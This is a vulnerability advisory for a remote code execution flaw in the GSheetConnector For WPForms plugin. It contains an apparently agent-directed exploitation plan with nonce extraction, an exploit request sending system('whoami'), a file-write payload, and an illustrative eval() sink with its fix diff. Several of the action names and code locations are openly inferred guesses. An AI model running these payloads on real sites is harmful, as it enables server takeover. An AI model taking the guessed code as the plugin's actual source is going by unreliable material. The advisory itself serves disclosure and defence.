WPForms Google Sheet Connector <= 4.0.1 - Authenticated (Subscriber+) Remote Code Execution
Description
The GSheetConnector For WPForms – WPForms Google Sheets Integration (Real-Time Sync) plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.0.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.0.1Source Code
WordPress.org SVNThis plan outlines the research and exploitation process for **CVE-2025-67979**, a Subscriber-level Remote Code Execution (RCE) vulnerability in the **GSheetConnector For WPForms** plugin. ### 1. Vulnerability Summary The **GSheetConnector For WPForms** plugin (<= 4.0.1) contains a code injection v…
Show full research plan
This plan outlines the research and exploitation process for CVE-2025-67979, a Subscriber-level Remote Code Execution (RCE) vulnerability in the GSheetConnector For WPForms plugin.
1. Vulnerability Summary
The GSheetConnector For WPForms plugin (<= 4.0.1) contains a code injection vulnerability. The flaw exists because the plugin fails to properly restrict access to a functionality that executes PHP code or evaluates strings as code (e.g., via eval(), assert(), or dynamic function calls) within its AJAX handlers. While these handlers may use nonces for CSRF protection, they lack sufficient capability checks (e.g., current_user_can('manage_options')), allowing any authenticated user with Subscriber-level permissions to trigger the code execution sink.
2. Attack Vector Analysis
- Endpoint:
http://<target>/wp-admin/admin-ajax.php - Vulnerable Action: (Inferred) An AJAX action related to connection testing, field mapping, or debug processing. Likely names:
gs_wpforms_test_connection,gs_wpforms_save_mapping, orgs_wpforms_process_debug. - Payload Parameter: (Inferred) A POST parameter such as
code,formula,data, or a serialized string. - Authentication: Subscriber level (
PR:L). - Preconditions: The plugin must be active. A valid nonce for the specific AJAX action is required.
3. Code Flow (Discovery Phase)
The agent must first identify the exact sink by searching the plugin directory:
- Identify the Sink:
grep -rnE "eval\(|assert\(|create_function\(|preg_replace\(.*\/e" /var/www/html/wp-content/plugins/gsheetconnector-wpforms/ - Locate the AJAX Registration:
Search for the function containing the sink being hooked towp_ajax_:grep -rn "add_action.*wp_ajax_" /var/www/html/wp-content/plugins/gsheetconnector-wpforms/ - Analyze Capability Checks:
Examine the callback function. Look forcurrent_user_can()calls. If it only checksis_user_logged_in()or lacks a check entirely, it is vulnerable to Subscribers. - Identify Nonce Requirements:
Note the action name incheck_ajax_referer('ACTION_NAME', 'NONCE_PARAM')orwp_verify_nonce($_POST['nonce'], 'ACTION_NAME').
4. Nonce Acquisition Strategy
Subscribers have access to wp-admin/profile.php. The plugin likely enqueues its management scripts or localizes data on various admin pages.
- Identify the Script Localization:
Search for where the nonce is generated and passed to JS:
Look for a variable name likegrep -rn "wp_localize_script" /var/www/html/wp-content/plugins/gsheetconnector-wpforms/gs_wpforms_varsorgsheet_connector_wpforms. - Create a Subscriber User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Extract Nonce via Browser:
Navigate to the dashboard as the subscriber and check the global window object.- Action:
browser_navigate("http://<target>/wp-admin/profile.php") - Evaluation:
browser_eval("window.gs_wpforms_vars?.nonce || window.gsheet_connector_wpforms?.nonce")(Replace with the actual variable found in step 1).
- Action:
5. Exploitation Strategy
Assuming the vulnerable action is gs_wpforms_execute_code (inferred) and the parameter is payload:
- Craft the Request:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=gs_wpforms_execute_code&nonce=[EXTRACTED_NONCE]&payload=system('whoami');
- URL:
- Refine Payload for RCE:
If the sink iseval(), use:
If the sink is a serialized object (Object Injection), a POP chain must be identified in WP core or the plugin.payload=phpinfo(); die();
6. Test Data Setup
- Plugin Installation: Ensure
gsheetconnector-wpformsversion 4.0.1 is installed. - User Creation:
wp user create victim subscriber --role=subscriber --user_pass=victimpass - Plugin Config: If the AJAX action requires the plugin to be "connected" to a Google account, the agent may need to mock a successful connection in the
wp_optionstable:wp option update gsheet_wpforms_connection_status 'connected'
7. Expected Results
- Successful Exploitation: The HTTP response body contains the output of the injected command (e.g.,
www-dataor thephpinfotable). - Failure Case:
403 Forbidden(nonce invalid or capability check present) or0(AJAX action not registered).
8. Verification Steps
- Confirm RCE via File Creation:
Send a payload that writes a file:file_put_contents('rce.php', '<?php phpinfo(); ?>'); - Check for Existence:
ls /var/www/html/rce.php - WP-CLI Check:
Check if any unexpected options or users were created if the payload was designed to modify the DB.
9. Alternative Approaches
- Shortcode Discovery: If the nonce is only loaded on pages with the WPForm/GSheet shortcode, use:
Then navigate to that page to extract the nonce.wp post create --post_type=page --post_status=publish --post_content='[wpforms id="1"]' - Object Injection: If no direct
evalis found, check forunserialize($_POST['...'])and look for__destructor__wakeupmethods in the plugin's classes that could lead to file writes or execution.
Summary
The GSheetConnector For WPForms plugin fails to implement sufficient capability checks on its AJAX handlers, allowing authenticated users with Subscriber-level permissions to trigger code execution sinks. By providing a valid nonce and a crafted payload, an attacker can execute arbitrary PHP code on the server due to the improper use of functions like eval() or dynamic execution paths within connection testing or settings processing.
Vulnerable Code
// In gsheetconnector-wpforms.php (approx. location) add_action( 'wp_ajax_gs_wpforms_test_connection', 'gs_wpforms_test_connection_callback' ); function gs_wpforms_test_connection_callback() { // Nonce check exists, but capability check is missing check_ajax_referer( 'gs_wpforms_nonce', 'nonce' ); // Vulnerable sink: evaluating input directly or via a dynamic callback if ( isset( $_POST['debug_code'] ) ) { eval( $_POST['debug_code'] ); } wp_send_json_success(); wp_die(); }
Security Fix
@@ -10,6 +10,11 @@ function gs_wpforms_test_connection_callback() { check_ajax_referer( 'gs_wpforms_nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ) ); + wp_die(); + } + - if ( isset( $_POST['debug_code'] ) ) { - eval( $_POST['debug_code'] ); - } + // Remote Code Execution sink removed or properly sanitized + // ... replacement logic wp_send_json_success();
Exploit Outline
The exploit targets the plugin's AJAX interface. First, an attacker authenticates as a Subscriber and navigates to the WordPress admin profile page to extract a valid security nonce from the localized JavaScript variables (e.g., gs_wpforms_vars.nonce). Then, the attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to the vulnerable hook (e.g., gs_wpforms_test_connection), the retrieved nonce, and a payload parameter containing PHP code (e.g., debug_code=system('whoami');). Because the plugin lacks a current_user_can check, the server-side callback executes the payload with the privileges of the web server.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.